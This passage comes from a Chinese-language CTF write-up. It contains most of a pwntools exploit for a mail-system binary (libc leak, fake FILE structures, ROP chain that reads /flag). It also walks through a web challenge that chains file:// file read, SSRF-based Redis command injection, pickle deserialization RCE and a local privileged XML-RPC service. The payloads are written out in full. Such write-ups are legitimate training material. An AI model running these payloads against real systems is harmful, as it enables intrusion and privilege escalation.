io.sendline(b"4")
io.recvuntil(b"Enter source user ID (whose mail to forward): (1-12) ")
io.sendline(str(src).encode())
io.recvuntil(b"Enter destination user ID (1-12): ")
io.sendline(str(dst).encode())
mid = io.recvuntil((b"Overwrite? (y/n): ", b"Your choice: "))
if mid.endswith(b"Overwrite? (y/n): "):
io.sendline(b"y")
mid += io.recvuntil(b"Your choice: ")
io.sendline(str(which).encode())
io.recvuntil(b"Your choice: ")


def gain_admin(io):
io.recvuntil(b"Your choice: ")

# Fill 8 visible slots.
for i in range(1, 9):
reg(io, i)

# Ban users 1..5 so active-count drops while occupied slots remain.
for i in range(1, 6):
login_user(io, i)
for _ in range(5):
write_mail(io, b"A")
out = send_mail(io, 8)
if b"Returning to login menu..." in out:
break

# The 13th registration lands on users[12] == admin global pointer at 0x70c0.
for i in range(9, 14):
reg(io, i)

# Fake admin chunk is zeroed at +0x32 and +0x68, and scanf("%s") accepts NUL.
login_admin_with_nul(io)


def logout_admin(io):
io.sendline(b"5")
io.recvuntil(b"Your choice: ")


def logout_user(io):
io.sendline(b"4")
io.recvuntil(b"Your choice: ")


def read_inbox(io):
io.sendline(b"2")
io.recvuntil(b"What would you like to read?\n")
io.sendline(b"2")
out = io.recvuntil(b"\n\nWhat would you like to read?", drop=True)
io.sendline(b"3")
io.recvuntil(b"Your choice: ")

marker = b"Inbox (new mail):\n"
if marker not in out:
log.error("Inbox leak marker not found.")
return out.split(marker, 1)[1]


def leak_libc_base(io):
# source=-3 reaches stderr; type=1 copies stderr+0x110 into a real user's inbox.
forward(io, -3, 6, 1)
logout_admin(io)
login_user(io, 6)
leak = read_inbox(io)
logout_user(io)
login_admin_with_nul(io)

if len(leak) < 6:
log.error("Short libc leak.")
leak_qword = u64(leak[:6].ljust(8, b"\x00"))
return leak_qword - STDERR_LEAK_OFF


def drain(io, timeout=BLIND_IDLE):
return io.recvrepeat(timeout)


def extract_forwarded_data(out, size):
marker = b"2. User's inbox mail\n"
start = out.find(marker)
if start != -1:
start += len(marker)
else:
start = 0

if len(out) < start + size:
log.error("Short forwarded leak.")
return out[start:start + size]


def admin_mail_to_user_blind(io, uid, data, overwrite=False):
io.clean(0.2)
io.sendline(b"3")
io.sendline(str(uid).encode())
io.sendline(str(len(data)).encode())
io.send(data)
if overwrite:
io.sendline(b"y")
return drain(io)


def forward_blind(io, src, dst, which, overwrite=False):
io.clean(0.2)
io.sendline(b"4")
io.sendline(str(src).encode())
io.sendline(str(dst).encode())
if overwrite:
io.sendline(b"y")
io.sendline(str(which).encode())
return drain(io)


def arb_read(io, addr, size, slot=8):
payload = FileStructure(null=0).write(addr, size)
admin_mail_to_user(io, slot, payload)

# source=slot(type=inbox) -> dest=-7(stdout): leak arbitrary memory to our socket.
io.sendline(b"4")
io.recvuntil(b"Enter source user ID (whose mail to forward): (1-12) ")
io.sendline(str(slot).encode())
io.recvuntil(b"Enter destination user ID (1-12): ")
io.sendline(b"-7")
mid = io.recvuntil((b"Overwrite? (y/n): ", b"Your choice: "))
if mid.endswith(b"Overwrite? (y/n): "):
io.sendline(b"y")
mid += io.recvuntil(b"Your choice: ")
io.sendline(b"2")

out = drain(io)
return extract_forwarded_data(out, size)


def arb_read_blind(io, addr, size, slot):
payload = FileStructure(null=0).write(addr, size)
admin_mail_to_user_blind(io, slot, payload)
out = forward_blind(io, slot, -7, 2, overwrite=True)
return extract_forwarded_data(out, size)


def resolve_runtime(io):
libc_base = leak_libc_base(io)
environ = u64(arb_read(io, libc_base + LIBC.sym["environ"], 8))

# Search the nearby stack window for login+0x9a (0x343f). PIE only randomizes page-aligned base.
search_base = environ - 0x4000
stack = arb_read_blind(io, search_base, 0x5000, slot=9)

hits = []
for idx in range(0, len(stack) - 8, 8):
qword = u64(stack[idx:idx + 8])
if (qword & 0xFFF) == (LOGIN_RET_OFF & 0xFFF):
hits.append((search_base + idx, qword))
if len(hits) != 1:
log.error(f"Unexpected saved RIP candidates: {hits!r}")

admin_saved_rip, saved_rip = hits[0]
pie_base = saved_rip - LOGIN_RET_OFF
# admin menu frame reserves 0x10 bytes; subfunction return slot sits 0x20 below.
sub_saved_rip = admin_saved_rip - 0x20

users_blob = arb_read_blind(io, pie_base + USERS_ARRAY_OFF, 12 * 8, slot=10)
users = [u64(users_blob[i:i + 8]) for i in range(0, 12 * 8, 8)]

return {
"pie_base": pie_base,
"libc_base": libc_base,
"users": users,
"environ": environ,
"admin_saved_rip": admin_saved_rip,
"sub_saved_rip": sub_saved_rip,
}


def pick_path():
if HOST and PORT:
return b"/flag\x00"
for candidate in (b"./flag\x00", b"flag\x00", b"/flag\x00", b"./pwn\x00"):
path = candidate.rstrip(b"\x00").decode()
if os.path.exists(path):
return candidate
return b"./pwn\x00"


def build_stdin_payload(script_addr, script_len, target_addr):
fs = FileStructure(null=0)
fs._IO_read_base = script_addr
fs._IO_read_ptr = script_addr
fs._IO_read_end = script_addr + script_len
fs._IO_buf_base = target_addr
fs._IO_buf_end = target_addr + 0x200
fs.fileno = 0
return fs.struntil("fileno")


def build_rop(libc_base, path_addr, buf_addr):
return flat(
libc_base + RET_OFF,
libc_base + POP_RDI_OFF, path_addr,
libc_base + POP_RSI_OFF, 0,
libc_base + POP_RDX_RBX_OFF, 0, 0,
libc_base + LIBC.sym["open"],
libc_base + POP_RDI_OFF, 3,
libc_base + POP_RSI_OFF, buf_addr,
libc_base + POP_RDX_RBX_OFF, 0x80, 0,
libc_base + LIBC.sym["read"],
libc_base + POP_RDI_OFF, 1,
libc_base + POP_RSI_OFF, buf_addr,
libc_base + POP_RDX_RBX_OFF, 0x80, 0,
libc_base + LIBC.sym["write"],
libc_base + POP_RDI_OFF, 0,
libc_base + LIBC.sym["exit"],
)


def exploit():
io = start()
gain_admin(io)

state = resolve_runtime(io)
libc_base = state["libc_base"]
users = state["users"]
sub_saved_rip = state["sub_saved_rip"]

user6 = users[5]
user7 = users[6]
user8 = users[7]
user11 = users[10]
user12 = users[11]

script = b"1\n6\n1\n"
path = pick_path()

# After stdout corruption, keep driving the admin menu with blind sends.
admin_mail_to_user_blind(io, 7, script)
admin_mail_to_user_blind(io, 11, path)
admin_mail_to_user_blind(io, 12, b"B" * 8)

stdin_payload = build_stdin_payload(user7, len(script), sub_saved_rip)
admin_mail_to_user_blind(io, 8, stdin_payload, overwrite=True)

rop = build_rop(libc_base, user11, user12)

# source=8(type=inbox) -> dest=-5(stdin): arbitrary write via _IO_buf_base/_IO_buf_end.
forward_blind(io, 8, -5, 2, overwrite=True)

# The scripted stdin bytes drive the menu into change-user-info -> scanf("%31s"),
# whose underflow writes our queued binary ROP chain at sub_saved_rip.
io.send(rop)
out = io.recvrepeat(2)
print(out.decode("latin-1", errors="ignore"), end="")


if __name__ == "__main__":
exploit()
#dart{bb07ea15-9b8d-40e0-9076-55648fbf492c}

结果

flag为

1
dart{bb07ea15-9b8d-40e0-9076-55648fbf492c}

auth

利用思路

头像 URL 任意文件读取 -> 读取源码与 Redis 配置 -> Redis 注入提权 admin -> 后台反序列化 RCE -> 调用本地 root MCP 读 /flag -> LFI 读 /tmp/flag

前期信息收集

访问站点后可以看到一个普通的登录注册系统。注册并登录普通用户后,页面中有一个“个人资料”页面,其中有“从 URL 下载头像”的功能。

URL作为头像容易产生漏洞,如:SSRF、任意文件读取,如果后端没有限制协议,可能支持 file://

先尝试把头像 URL 设置为:

1
file:///etc/passwd

提交后页面正常返回,说明后端确实直接读取了本地文件。至此可以确认头像下载点存在任意文件读取,且后端没有限制 URL scheme

这一步已经足够说明题目的第一层突破口在这里。

读取源码

既然已经能读本地文件,优先考虑读取应用源码。直接请求:

1
file:///app/app.py

读到源码后,可以确认几个关键点。

  1. 头像 URL 下载逻辑没有限制协议
  • 源码中头像下载逻辑为:
1
2
3
req = urllib.request.Request(url)
response = urllib.request.urlopen(req, timeout=10)
response_data = response.read()
  • 这里没有对协议做白名单限制,因此 http://https://file:// 都可用。
  1. 用户角色从 Redis 中读取
  • 登录逻辑中,服务端会从 Redis 的 user:<username> 键读取 role 字段,然后写入 session
1
2
3
role_data = r.hget(f'user:{username}', 'role')
role = role_data.decode('utf-8') if role_data else 'user'
session['role'] = role
  • 只要能修改 Redis 中自己账号对应的 role,下次登录时就能成管理员。
  1. 登录后会把在线用户对象写入 Redis
  • 源码中登录成功后会执行:
1
2
3
online_user = OnlineUser(username, role)
serialized_user = pickle.dumps(online_user)
r.set(f'online_user:{username}', serialized_user, ex=3600)
  • 也就是说,Redis 中会存放 pickle 序列化后的 Python 对象。
  1. 管理员后台会对 online_user:* 反序列化
  • 管理员页面 /admin/online-users 中会遍历 Redis 里的在线用户,并执行:
1
2
serialized = r.get(key)
online_user = RestrictedUnpickler(file).load()

读 Redis 配置,拿到 Redis 密码

源码里默认 Redis 密码写的是 123456,但同时源码也提到还会从配置文件加载实际配置。故需读取 Redis 配置文件:

1
file:///etc/redis/redis.conf

从配置中可以发现:

1
2
3
4
5
requirepass redispass123
bind 0.0.0.0
protected-mode no
daemonize yes
dir /var/lib/redis

拿到连接和操作 Redis 所需的凭据。

头像打内网 Redis

头像功能既然是 urlopen(),除了 file://,自然也应该可以访问内网服务。由于Redis 不是 HTTP 服务,所以这类请求往往会报错。但如果后端不做过滤,在 URL 中插入换行,就有机会把后面的内容变成 Redis 的 inline 命令。

测试时向 /profile/avatar 提交类似如下内容:

1
2
3
4
5
6
7
POST /profile/avatar HTTP/1.1
Host: 95c30c40-d391-4af7-8f71-f70c625202b5.4.dart.ccsssc.com
Cookie: session=普通用户会话
Content-Type: application/x-www-form-urlencoded

avatar_url=http://127.0.0.1:6379/
PING&upload_type=从URL下载

返回中出现:

1
-NOAUTH Authentication required.

这说明请求确实已经打到了本地 6379 端口,并且Redis 确实把我们构造的内容当成命令解析了。

因此这个点除去 SSRF,还可以进一步进行 Redis 命令注入。

利用 Redis 注入提权成 admin

既然登录时会从 Redis 中读取 user:<username>.role,那最直接的做法就是修改这个字段。

注册的普通用户为:

1
2
username = ctf930b931c
password = P@ssw0rd123

那么目标 Redis 命令就是:

1
2
AUTH redispass123
HSET user:ctf930b931c role admin x

这里最后多加一个 x,是为了吞掉后续 HTTP 请求中可能拼接进来的残余内容,避免 Redis 因参数数量异常而拒绝执行。

在 Burp Repeater 中可以直接构造如下请求:

1
2
3
4
5
6
7
8
POST /profile/avatar HTTP/1.1
Host: 95c30c40-d391-4af7-8f71-f70c625202b5.4.dart.ccsssc.com
Cookie: session=普通用户session
Content-Type: application/x-www-form-urlencoded

avatar_url=http://127.0.0.1:6379/
AUTH redispass123
HSET user:ctf930b931c role admin x&upload_type=从URL下载

发送成功后,重新登录账号。由于登录时服务端会重新从 Redis 中读取角色字段,因此重新登录后即可拿到新的管理员会话。

验证方式很简单:

  • 访问 /home
  • 导航栏中会新增 /admin/online-users
  • 同时还会出现 /admin/users

这一步说明管理员提权已经完成。

pickle反序列化

拿到管理员权限后,访问:

1
/admin/online-users

后台会读取所有 online_user:* 键并执行 pickle 反序列化。源码中虽然定义了一个 RestrictedUnpickler,看起来像是在做限制,但它仍然允许:

1
2
if module == "builtins" and name in ["getattr", "setattr", "dict", "list", "tuple"]:
return getattr(__builtins__, name)

而且还允许 __main__.OnlineUser

这实际上已经够用了。因为只要有 builtins.getattr,就可以通过逐层取属性的方式走出一条 gadget 链,最终调用到:

1
os.system(...)

也就是说,这个“受限反序列化”本质上仍然可以形成命令执行。

通过反序列化直接执行:

1
cp /flag /tmp/flag

但测试后会发现 /flag 对 Web 进程不可读,直接读取:

1
file:///flag

返回的是权限不足。因此普通 Web 进程虽然能 RCE,但还不够,必须找到一个更高权限的本地服务替我们读取 /flag

发现本地高权限 MCP 服务

由于已经有任意文件读取,可以继续查看系统中的进程信息,例如:

1
2
3
file:///proc/1/cmdline
file:///proc/11/cmdline
file:///proc/20/cmdline

进一步分析后,可以发现容器里还有一个额外的 Python 服务:

1
python /opt/mcp_service/mcp_server_secure_e938a2d234b7968a885bbbbb63cde7b9.py

继续读取其源码:

1
file:///opt/mcp_service/mcp_server_secure_e938a2d234b7968a885bbbbb63cde7b9.py

可以确认:

  • 该服务监听 127.0.0.1:54321
  • 它是 XML-RPC 服务
  • 它有硬编码 token mcp_secure_token_b2rglxd
  • 它暴露了危险方法:
1
2
3
execute_command
read_file
list_files

换言之:

  • Web 进程无法直接读 /flag
  • 但它可以在本机访问这个高权限 MCP 服务
  • 只要能在 Web 进程里执行任意 Python 或 shell 命令,就可以调用这个 MCP 代替自己去读 /flag

于是最终利用路径明确了:

pickle RCE -> 调用本地 XML-RPC MCP -> MCP 以高权限执行 cp /flag /tmp/flag

构造恶意 pickle

目标是往 Redis 中写入一个恶意的 online_user:* 值,使管理员访问 /admin/online-users 时触发反序列化并执行命令。

由于允许 builtins.getattr,可以利用如下链条逐层拿到命令执行能力:

  1. 拿到 OnlineUser.__init__
  2. 再拿到 __globals__
  3. __globals__ 中取出 __builtins__
  4. 通过 __import__ 导入 os
  5. 调用 os.system(cmd)

最终执行的命令不是直接读 /flag,而是调用本地 XML-RPC 服务,因为cp /flag /tmp/flag 在 MCP 服务的高权限上下文中执行,配合 chmod 644 /tmp/flag,可以使后续通过普通 Web 进程就可以通过 file:///tmp/flag 读取结果

1
python -c "from xmlrpc.client import ServerProxy;ServerProxy('http://127.0.0.1:54321/RPC2').execute_command('mcp_secure_token_b2rglxd','cp /flag /tmp/flag;chmod 644 /tmp/flag')"

SETBIT 按位写入 pickle

为了解决换行和二进制写入问题,在本地生成完整的恶意 pickle 字节串,将字节串转换成 bit 流再通过多条 Redis 命令逐位执行

1
SETBIT online_user:rceflag <offset> <0|1>

这样就能在 Redis 里精确重建任意二进制数据,不会受到引号、换行、编码等问题影响。

触发 RCE 并复制 Flag

将恶意 online_user:rceflag 写入 Redis 后,重新访问:

1
/admin/online-users

此时后台会反序列化该对象,触发命令执行,随后本地 MCP 服务执行:

1
cp /flag /tmp/flag; chmod 644 /tmp/flag

只要这一步成功,最终 flag 就已经被复制到 Web 进程可读的位置。

回到头像下载页面,再次使用本地文件读取:

1
file:///tmp/flag

最终结果

页面返回的内容解码后即可得到最终 flag:

1
dart{279d2746-ab7b-4b3c-869c-19e768a50565}
CATALOG
  1. 1. 2026软件系统安全赛 WP
    1. 1.1. steganography
      1. 1.1.1. 解题步骤
        1. 1.1.1.1. 1.查看原始文件类型
        2. 1.1.1.2. 2.从原始文件中切出 PNG
        3. 1.1.1.3. 3.对 PNG 做 LSB 提取
        4. 1.1.1.4. 4.解开提取的 ZIP
        5. 1.1.1.5. 5. 直接提取pass1.zip ~ pass6.zip的信息
        6. 1.1.1.6. 6.利用 CRC32 反推 4 字节明文
        7. 1.1.1.7. 7.用密码解开 flag.zip
        8. 1.1.1.8. 8.提取零宽字符
        9. 1.1.1.9. 9.将零宽字符转成二进制
        10. 1.1.1.10. 最终结果
    2. 1.2. rsa
      1. 1.2.1. Level 1
        1. 1.2.1.1. 分析
        2. 1.2.1.2. Exp
        3. 1.2.1.3. 运行结果
      2. 1.2.2. Level 2
        1. 1.2.2.1. 分析
        2. 1.2.2.2. Exp
        3. 1.2.2.3. 运行结果
      3. 1.2.3. Level 3
        1. 1.2.3.1. 分析
        2. 1.2.3.2. Exp
        3. 1.2.3.3. 运行结果
      4. 1.2.4. 最终结果
    3. 1.3. 溯源反制 (流量分析)
      1. 1.3.1. traffic_hunt
        1. 1.3.1.1. 解题步骤
          1. 1.3.1.1.1. 1.初步判断流量结构
          2. 1.3.1.1.2. 2.从 HTTP 中定位 WebShell / 内存马
          3. 1.3.1.1.3. 3.解密 Behinder 流量并还原上传文件
          4. 1.3.1.1.4. 4.分析 /var/tmp/out
          5. 1.3.1.1.5. 5.从 Behinder 命令中找出样本启动方式
          6. 1.3.1.1.6. 6.解密 7788 端口的回连流量
        2. 1.3.1.2. 最终结果:
      2. 1.3.2. re1
      3. 1.3.3. re2
        1. 1.3.3.1. 题目信息
        2. 1.3.3.2. 分析过程
          1. 1.3.3.2.1. 一、初步分析
          2. 1.3.3.2.2. 二、第一层壳的处理
          3. 1.3.3.2.3. 三、脱壳后程序的逻辑
          4. 1.3.3.2.4. 四、提取第二阶段程序
          5. 1.3.3.2.5. 五、最终校验逻辑
          6. 1.3.3.2.6. 六、自动化脚本
        3. 1.3.3.3. 最终答案:
      4. 1.3.4. re3
        1. 1.3.4.1. 解题思路
        2. 1.3.4.2. 分析过程
          1. 1.3.4.2.1. 1. 先看主程序,发现不是原生逻辑
          2. 1.3.4.2.2. 2. 提取 Python 入口脚本
          3. 1.3.4.2.3. 3. 分析 crypt_core.so
          4. 1.3.4.2.4. 4. 从流量里取密文并解密
        3. 1.3.4.3. 解题脚本。
        4. 1.3.4.4. 最终答案
      5. 1.3.5. MailSystem
        1. 1.3.5.1. 题目信息
        2. 1.3.5.2. 解题过程
          1. 1.3.5.2.1. 1. 注册 off-by-one 覆盖 admin
          2. 1.3.5.2.2. 2. scanf("%s") 支持直接发 \x00
          3. 1.3.5.2.3. 3. 管理员转发存在负数索引越界
          4. 1.3.5.2.4. 4.程序内 leak
          5. 1.3.5.2.5. 5.fake stdin 写 ROP
          6. 1.3.5.2.6. 6.ORW ROP
          7. 1.3.5.2.7. 7.远程连接
        3. 1.3.5.3. 完整 exploit:
        4. 1.3.5.4. 结果
    4. 1.4. auth
      1. 1.4.1. 利用思路
      2. 1.4.2. 前期信息收集
      3. 1.4.3. 读取源码
      4. 1.4.4. 读 Redis 配置,拿到 Redis 密码
      5. 1.4.5. 头像打内网 Redis
      6. 1.4.6. 利用 Redis 注入提权成 admin
      7. 1.4.7. pickle反序列化
      8. 1.4.8. 发现本地高权限 MCP 服务
      9. 1.4.9. 构造恶意 pickle
      10. 1.4.10. 用 SETBIT 按位写入 pickle
      11. 1.4.11. 触发 RCE 并复制 Flag
      12. 1.4.12. 最终结果